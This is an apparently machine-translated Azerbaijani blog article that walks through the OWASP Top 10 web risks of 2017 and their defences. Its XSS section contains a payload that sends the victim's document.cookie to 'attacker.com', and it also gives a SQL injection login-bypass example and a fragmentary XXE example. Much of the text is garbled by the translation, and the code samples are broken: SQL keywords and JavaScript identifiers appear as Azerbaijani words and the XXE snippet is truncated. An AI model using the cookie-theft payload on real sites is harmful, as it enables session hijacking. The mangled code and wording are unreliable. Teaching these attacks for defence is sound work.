Ən yaxşı 10 ümumi veb hücum: Veb saytınızı qorumaq üçün ilk addımlar


Tez-tez InfoSec mütəxəssisləri tərəfindən paylaşılan ümumi bir statistika “hücumların 78% -i tətbiqə qarşıdır”.

Heç bir həftə başqa bir kütləvi pozuntu və ya zəifliyi eşitmədən keçmir, bütün sahələrdə milyonlarla istifadəçiyə təsir göstərir. Bu sayın dəqiq olub-olmaması və ya həqiqətən yalnız 74% (və ya 85% -ə yaxın olması) bir şey aydındır: veb saytlarımız risk altındadır, və sizin hələ hücum edilməyibsə sadəcə vaxt və pul məsələsidir (və təcavüzkarın motivasiyası).

Bu hücumların çoxunun ortaq olduğu bir maraqlı cəhət budur onlar yüksək texniki və yalnız NSA zirzəmisində oturan hakerlərin qabaqcıl dəstələri tərəfindən əldə edilə bilməz. Bu hücumların ən çox yayılmış mənbəyi “script uşaqları” olaraq bilinən bir qrupdur. İnternetdən avtomatlaşdırılmış alət dəstlərini sadəcə internetdən yükləyən və asanlıqla istismar edilə bilən aşağı asılqanları təklif edən təsadüfi saytı sındırmağa çalışan təhsilli gənclərdir. Hətta daha təcrübəli kibercinayətkarlar ilk cəhdlərini eyni alət dəstlərindən (ya da bir az daha inkişaf etmiş versiyasından) istifadə edərək başlayır.

Niyə qayğı göstərməliyik? Çünki bu o deməkdir ki, ən çox görülən hücumlar və ən çox istismar olunan zəifliklər həmişə müdafiəmizdə ilk və zəif zəncir olacaqdır.

Nəticə etibarilə bu, ilk səylərimizi bu müdafiəni inkişaf etdirməyə yönəltdiyimiz məqam da olmalıdır. Xoşbəxtlikdən, bu, ən azı minimum təhlükəsizlik səviyyəsini sınamaq və təmin etmək üçün ən asan yer olur.

Bu ümumi zəifliklər, OWASP-də dost olan könüllülər tərəfindən proqramın təhlükəsizliyini yaxşılaşdırmağa yönəlmiş Açıq Veb Tətbiq Təhlükəsizliyi Layihəsi, ümumdünya qeyri-kommersiya xeyriyyə təşkilatı tərəfindən “Top Ten” siyahısına toplanmışdır..

Bu ilk on siyahı həqiqətən “təhlükəsizlik siyahısı” olmasa da, təcavüzkarların cəhd edəcəyi ilk zəiflik dəstidir. Eyni şəkildə, veb saytınızı təcavüzkarların xidmətində skan edəcək bir çox avtomatlaşdırılmış vasitə var ki, bu da onlara qiymətli əşyalarınıza giriş imkanı verəcək kritik qüsurları tez aşkar etməyə imkan verir..

Budur OWASP-nin 2017-ci il üçün ən yaxşı 10 Tətbiq Təhlükəsizliyi Riskləri:

1. Enjeksiyon

Təcavüzkar veb tətbiqinizi alt sistemlərinə təqdim edilmiş əmrləri dəyişdirərək sadəcə boyanmış yüklü yüklü məlumatlarla göndərməklə idarə edə bilər. Bu hücumların ən yaxşısı SQL Enjeksiyondur, veb saytınızdakı bir istifadəçi tətbiqinizin bunu dəyişdirməsinə səbəb ola bilər:

istifadəçi adından = ‘AviD’ və şifrə = ‘1234’ olan istifadəçilərdən * seçin
bu:
İstifadəçi adı = ‘Admin’ olan istifadəçilərdən * seçin

Bu təcavüzkarın şifrəni belə bilmədən tətbiqetməyinizə idarəçi kimi daxil olmasına imkan verir. Bu hücumun digər istifadəsi sirləri (və ya pulu) oğurlamaq, məlumatları dəyişdirmək və ya hətta bütün fəaliyyət izlərini silmək olardı.

Digər formalara LDAP Enjeksiyonu, XPath Enjeksiyonu, Sifar Enjeksiyonu, SMTP Enjeksiyonu daxildir – hər zaman tətbiq bir tərcüməçiyə ötürülən bir komandaya etibarsız istifadəçi girişini birləşdirir. Anormal məlumatlar tərcüməçini düşünülməmiş əmrləri yerinə yetirməyə və ya müvafiq icazəsi olmadan məlumat əldə etməyə aldada bilər.

Bu hücumlar ümumiyyətlə ola bilər Olduqca asanlıqla qarşısını aldı bir neçə prinsipə əməl etməklə:

  • Bütün etibarlı olmayan məlumatları mənbədən asılı olmayaraq ağ siyahıya yaxınlaşaraq təsdiq edin.
  • Bir simli sorğu əlaqələndirmək yerinə həmişə parametrləşdirilmiş sorğu və yalnız saxlanılan prosedurlarla verilənlər bazasına daxil olun.
  • Daha yaxşısı, uyğun bir ORM (Obyektlə əlaqəli Xəritəçəkmə) kitabxanasından istifadə edin (platformanızdan asılı olaraq bir neçə ad vermək üçün Hibernate, Entity Framework, ActiveRecord kimi).
  • Tətbiqin verilənlər bazası imtiyazlarını azaltmaqla uğurlu bir istismarın mümkün zərərini məhdudlaşdırın.

2. Sınıq Doğrulama

Əksər tətbiqetmələr istifadəçilərindən istifadə etməzdən əvvəl giriş tələb edir, tez-tez istifadəçi adı / şifrə birləşməsi ilə. Bu identifikasiya sistemi ilə bir çox ümumi qüsur var, bunlar müxtəlif yollarla istismar edilə bilər: lüğət hücumları, avtomatlaşdırılmış kobud güc, etimadnamə doldurma, iclas qaçırma və s..

Etibarlı bir şifrə tapmağı bacaran bir təcavüzkar həmin istifadəçini təqlid edə və qurbanlarının edə biləcəyi hər hansı bir hərəkəti edə bilər. – təcavüzkarla qurbanı ayırd edə bilmədən.

Bunun qarşısını almaq üçün çox qatlı bir yanaşma tələb olunur:

  • Bütün standart parolları dəyişdirin.
  • Bütün istifadəçilər üçün güclü, təsadüfi parolları tətbiq edin: ən azı 12 təsadüfi simvol, heç bir məhdudiyyət olmadan, tercihen bir parol menecerində saxlanılır; ya da alternativ olaraq, ən azı 5 təsadüfi sözdən ibarət parol.
  • Müəyyən sayda yanlış paroldan sonra bir müddət istifadəçi hesabını kilidləyib giriş cəhdlərini məhdudlaşdırın.
  • Təsadüfi olaraq uzun sessiya identifikatorları yaradan və etibarlı bir sessiya ömrünü tətbiq edən etibarlı bir platforma meneceri istifadə edin.
  • Şifrələri Bcrypt, scrypt və ya Argon2 kimi kriptoqrafik bir “parol hash” alqoritmi ilə qoruyun.

Həmçinin, parol əsaslı hücumları azaltmaq üçün çox amil identifikasiyasını tətbiq etməyi düşünün, və təcavüzkarın “Şifrəni unutmusunuz” səhifəsində pişiyinizin adını bilməklə şifrənizi keçməsinə icazə verməyin. Xüsusi memarlıq və kontekstdən asılı olaraq əlaqəli ola biləcək bir neçə əlavə məlumat var.

3. Həssas məlumatlar məruz qalması

Gizli məlumatların ümumiyyətlə şifrələmə və digər kriptoqrafik alqoritmlərlə qorunması lazımdır. Bununla birlikdə, bu, çox vaxt natamam bir şəkildə həyata keçirilir, əgər təcavüzkarlara şifrələr, kredit kartları, şəxsi məlumatlar (PII) və digər iş kritik məlumatları daxil olmaqla həssas məlumatları əldə etməyə imkan verirsə.

Bəzi ümumi nöqsanlara məlumatların şifrələnməməsi daxildir; standart alqoritmlər və protokollar əvəzinə xüsusi bir şifrələmə sxemi yaratmaq; zəif düymələrdən istifadə etməklə; şifrələmə açarlarını ifşa etmək; və protokolları düzgün tətbiq etmir, məsələn TLS sertifikatını təsdiqləmir.

Düzgün kriptoqrafik nəzarət istifadə olunur (məsələn, saxlanılan məlumatlar üçün AES şifrələməsi və trafik üçün aktiv olan HSTS ilə TLS) düzgün parametrlərlə, həssas məlumatlarınızı həm istirahətdə, həm də tranzitdə qorumalıdır.

4. XML Xarici Şəxslər (XXE)

Tez-tez tətbiqetmələrdən istifadəçilərdən XML sənədləri almaq və işləmək lazımdır. Köhnə və ya zəif konfiqurasiya edilmiş XML təhlilçiləri XML sənədləri daxilində xarici varlıq istinadları kimi tanınan bir XML xüsusiyyətini təmin edə bilər qiymətləndirildikdə başqa bir faylın məzmununu daxil edəcəkdir. Təcavüzkarlar bundan sui-istifadə edə bilərlər məxfi məlumatları oxumaq, daxili sistemlərə daxil olmaq və hətta Xidmətdən imtina (DoS) hücumunda tətbiqi bağlamaq.

Məsələn, bunları ehtiva edən XML sənəd:

]>&xxe;

parol sənədinin məzmununu XML sənəd daxilində daxil edər.

Bunun qarşısını almaq olar sadəcə DTD və Xarici şəxsin qiymətləndirilməsini dezerasiya etmək və ya həssas olmayan müasir bir kitabxana kitabxanasını təkmilləşdirməklə.

5. Sınıq girişə nəzarət

Əksər veb tətbiqetmələr istifadəçilərin görə biləcəyi və ya edə biləcəyi şeyləri məhdudlaşdırır, başqa bir istifadəçinin şəxsi məlumatlarına və ya məhdud əraziyə daxil olub-olmamasına.

Bununla birlikdə, bu məhdudiyyətləri tətbiq edən giriş nəzarəti mexanizmləri ümumiyyətlə sərbəst tətbiq olunur və çox vaxt qüsurlu olur. Təcavüzkarlar bu nəzarəti keçə bilər və ya icazəsiz işləmə və məlumat əldə etmək üçün sui-istifadə edə bilərlər, digər istifadəçilərin hesablarına daxil olmaq, həssas sənədləri görmək, digər istifadəçilərin məlumatlarını dəyişdirmək, inzibati tədbirlər görmək və s.

Giriş idarəetmə qüsurlarının düzəldilməsi və qarşısının alınması sistemli bir görünüş tələb edir. Tətbiqin bütün xüsusiyyətlərini, sistem tələblərini, istifadəçi rollarını və digər məhdudiyyətləri tam, dərindən araşdırmaq lazımdır. Tələblərdən asılı olaraq tətbiq edilə bilən müxtəlif ümumi modellər var. Ən ümumi olanları Rol əsaslı Giriş Nəzarəti (RBAC), Fərqli Giriş Nəzarəti (DAC) və Bütövlüyə əsaslanan və ya məcburi giriş nəzarəti (MAC) daxildir..

Digər niş modelləri Attributes (ABAC), Policy (PBAC), Context (CBAC) və təsnifata (bir neçə model mövcuddur, xüsusən də DoD-də), habelə müxtəlif digər xüsusi sxemlərə əsaslana bilər. Giriş nəzarəti modelini düzgün şəkildə tərtib etmək vacibdir ki, eyni şəkildə tətbiq olunsun və səmərəli idarə olunsun. Ən kiçik imtiyaz prinsipindən başlayın və yalnız lazım olduqda icazə verin.

Bundan əlavə, bir çox sistem istifadəçilərin şəxsi məlumatlarına daxil olmağa nəzarətin məxfilik baxımından nəzərdən keçirilməlidir. Xüsusilə AB-nin GDPR yeniləməsi baxımından istifadəçilərin məxfiliyini qorumaq və razılığı olmadan girişi qarşısını almaq daha da vacibdir..

6. Təhlükəsizlik səhv tənzimlənməsi

Serverlər və tətbiqlərdə hamısının düzgün qurulması lazım olan çox sayda hərəkətli hissə var. Bu, əməliyyat sistemi və şəbəkə qurğularından veb serverə və tətbiqin özünə qədər tətbiqetmə yığınının bütün səviyyələrində tətbiq olunur.

Defolt, natamam və ya ad hoc konfiqurasiyaları faylları müdafiəsiz buraxa bilər, defolt parollar aktivdir, bulud xidmətləri açılır və səhv mesajları və ya HTTP başlıqları, habelə təcavüzkarın sistemə və ya məlumatlara daxil olmasına imkan yarada biləcək çox sayda digər etibarsız parametrlər vasitəsilə həssas məlumatlar yayılır.

Əlbəttə ki, bu həssaslığın qarşısını ala biləcək tək bir vəziyyət yoxdur. Bütün potensial həssas parametrlər nəzərdən keçirilməlidir. Qeyd edək ki, buna vaxtında sistem yeniləmələri və yamalar da daxildir!

Saytlararası skript (XSS)

XSS istifadə, təcavüzkar digər istifadəçilərin tətbiqinizdə gördükləri veb səhifələrini dəyişdirə bilər, parol və kredit kartları kimi məlumatları oğurlamaq, saxta məlumatlar yaymaq, istifadəçi iclaslarını qaçırmaq, başqa bir sayta yönləndirmək və ya zərər çəkmiş brauzerdə zərərli skriptlər işlətmək olub-olmaması.

Bu həssaslıq etibarlı olmayan məlumatlar veb səhifəyə və ya cavaba daxil edildikdə, düzgün təsdiqlənmədən və ya sanitarizasiya olunmadan baş verə bilər. Təcavüzkar birbaşa səhifədə yerləşdiriləcək və brauzer tərəfindən göstərilən HTML və ya JavaScript fraqmentləri ilə formaları təqdim edə bilər..

Məsələn, bu server kodu:

cavab.write (“Sabahınız xeyir” + request.getParameter (“Ad”));

istifadəçinin Adı parametrini birbaşa çıxışa daxil edir. İstifadəçinin adı “John” olarsa, aşağıdakı səhifəni qaytarmaq üçün nəzərdə tutulmuşdur:

Sabahınız xeyir, John

Bunun əvəzinə təcavüzkar zərərli bir yük tətbiq edə bilər:

Sabahınız xeyir, Bossdocument.location = ‘http: //attacker.com/? Cookie =’ + sənəd.cookie

istifadəçinin brauzeri tərəfindən icra ediləcəkdir, sessiya çerezlərini təcavüzkarın yanına göndərir və təcavüzkarın iclasın qaçırılmasına imkan verir.

XSS hücumlarına qarşı əsas qorunma düzgün kodlaşdırmanın istifadəsidir. Məsələn, HTML kodlaşdırma bütün “xüsusi” simvolları HTML varlığına çevirəcəkdir ki, istifadəçi üçün eyni göstərilsin, lakin analizçi tərəfindən etibarlı HTML etiketləri kimi tanınmır. Bununla yanaşı, məlumat çıxışının xüsusi kontekstindən asılı olaraq istifadə edilməli olan digər kodlaşdırma formaları da var. Atribut kodlaşdırma, JavaScript kodlaşdırması, CSS kodlaşdırma və s. Müasir veb platformaların əksəriyyəti bu funksiyanı avtomatik olaraq və ya bir funksiya çağırışı kimi təmin edir və olmayanlar üçün çoxlu təhlükəsizlik kitabxanaları var.

əlavə olaraq, Məzmun Təhlükəsizliyi Siyasəti (CSP) həyata keçirmək üçün yaxşı bir fikirdir, brauzerin bir XSS hücumunu göstərməsinin qarşısını almaq. HttpOnly atributunu daxil etmək üçün sessiya çərəzlərinizi (tətbiq kodunuzda və ya veb server konfiqurasiyasında) da istifadəçilərinizin sessiyalarını qaçırmaq üçün uğurlu XSS istismarının qarşısını almaq üçün yapışdırın..

8. Təhlükəsiz Deserialization

Bu siyahının ən yeni əlavəsi, Təhlükəsiz Deserializasiya, inyeksiya hücumlarını və imtiyazın artırılmasını təmin edə bilər və hətta müəyyən vəziyyətlərdə uzaq kodun icrasına və server ələ keçirilməsinə səbəb ola bilər..

Bir çox tətbiqdə obyektləri və məlumatları seriya etmək lazımdır asanlıqla tel vasitəsilə ötürülə bilən və ya hətta bir faylda saxlanıla bilən bir formata çevrilir. Bir tətbiq istifadəçidən alınan biçimlendirilmiş məlumatları ləğv etməklə bu obyektləri yenidən yaddaşlara bərpa etdikdə, obyektin yaddaşını pozmaq və hətta özbaşına funksiyaları yerinə yetirməyə səbəb ola bilər.

Təhlükəsiz Deserializasiya qarşısını almaq üçün ən yaxşı yolu edir əsla etibarlı olmayan məlumatlardan obyektləri boşaltma! Yerli deserializasiya formatlarını, mümkün olduğu yerlərdə, XML və ya JSON kimi bir məlumat formatına üstünlük verməkdən çəkindirmək daha yaxşıdır..

Doğma formatdan çıxarmaq lazımdırsa, bunu edə bilməyiniz, proqramlaşdırma dilinizin daxili dilini başa düşməyinizi tələb edir. Tətbiqinizin hansı dildə işləndiyindən asılı olaraq bunu təhlükəsiz etmək üçün müxtəlif addımlar tələb olunur. Məsələn, Java-da java.io.ObjectInputStream sinfi alt sinifini edə bilərsiniz. Bundan əlavə, tətbiqinizin rəqəmsal şəkildə imzalandığı məlumatlardan yalnız kənarlaşdırılması tövsiyə olunur.

9. Bilinən zəif qabiliyyətli komponentlərdən istifadə

Müasir proqram artıq bir monolit şəklində qurulmamışdır – həmişə getdikcə çox sayda 3-cü tərəf komponentlərinə, çərçivələrə və açıq mənbəli kitabxanalara güvənir. Bu asılılıqlarda aşkar edilmiş hər hansı bir zəiflik birbaşa öz tətbiqinizə də təsir edə bilər! Bəzən bu siyahıdakı digər zəifliklərə səbəb olacaqdır, enjeksiyon, uzaq kodun icrası və ya təcavüzkarların həssas məlumatlara və ya hərəkətlərə daxil olmasına imkan yarada biləcək digər nöqsanlar kimi.

Bu yaxınlarda, yalnız belə bir məsələ, Apache Struts2 üçün bir yamaq quraşdırmadıqları kütləvi Equifax pozuntusunda günahlandırıldı. Bunun əvəzinə, uzaqdan hücum edənlərə ixtiyari əmrləri yerinə yetirməyə imkan verən bir versiyada qaldılar.

Bu tələyə düşməməyin ən yaxşı yolu budur bütün asılılığınızı nəzərdən keçirins (keçid asılılığı da daxil olmaqla) və onlardan hər hansı birinin həssas olub olmadığını yoxlayın. Tətbiqinizi həmişə yoxladıqdan sonra bütün asılı kitabxanaların və komponentlərin ən son sabit versiyalarını çəkməsini təmin etmək üçün bir proses həyata keçirin. Əslində, hazırda komandanızı izləyə biləcək çox sayda kommersiya vasitəsi var, həmçinin OWASP-in pulsuz asılılıq yoxlaması.

10. Yetərsiz giriş & Monitorinq

Sistemlərimizi bütün mümkün hücumlara qarşı immunitetli etməyə çalışırıq bəzi hücumların müdafiəmizdən keçəcəyini qəbul etməliyik. Bununla birlikdə, möhkəm bir müdafiə bir neçə təbəqəni əhatə etməlidir. Buraya, bütün səylərimizə baxmayaraq, tercihen ən qısa zamanda mümkün olan bu hücumları aşkar etmək imkanı daxildir.

Bu, hələ də bir təşkilata hücumu bərpa etməyə və ya zərərləri mümkün qədər minimuma endirməyə imkan verə bilər. Bir giriş və izləmə mexanizmi, təsirli hadisələrə reaksiya ilə birləşdirilmişdir, təcavüzkarların əlavə daxili mənbələrə keçməsinin qarşısını ala bilər, özlərini təşkilata daimi olaraq daxil etmək və daha çox məlumatları oğurlamaq və ya dəyişdirməkdən çəkindirmək.

Bütün tətbiq üçün ümumi bir giriş mexanizmi tətbiq edin. Mövcud kitabxanadan, məsələn log4J kimi istifadə etmək ən yaxşısıdır, lakin bu tələb olunmur. Giriş mexanizmi istifadəçinin başlatdığı bütün hərəkətləri, iş vaxtı səhvlərini və digər həssas hadisələri toplamalıdır. Giriş məlumatlarının yaxşı qorunduğundan əmin olun və idarəçilərə axtarış və baxış interfeysi təqdim etməyi unutmayın!

Yaxşı xəbər budur ki, bunların əksəriyyəti nisbətən sadə problemlərdir və nə axtarmaq lazım olduğunu bilsəniz qarşısını almaq asandır. Buna görə, bu diqqət yetirməli olduğunuz bütün təhlükəsizlik məsələlərinin hərtərəfli siyahısı olmasa da, belədir mütləq qorunan bir veb saytına ekspedisiyanıza başlamaq üçün ən yaxşı yerlərdən biridir!

Kim Martin Administrator
Sorry! The Author has not filled his profile.
follow me
    Like this post? Please share to your friends:
    Adblock
    detector
    map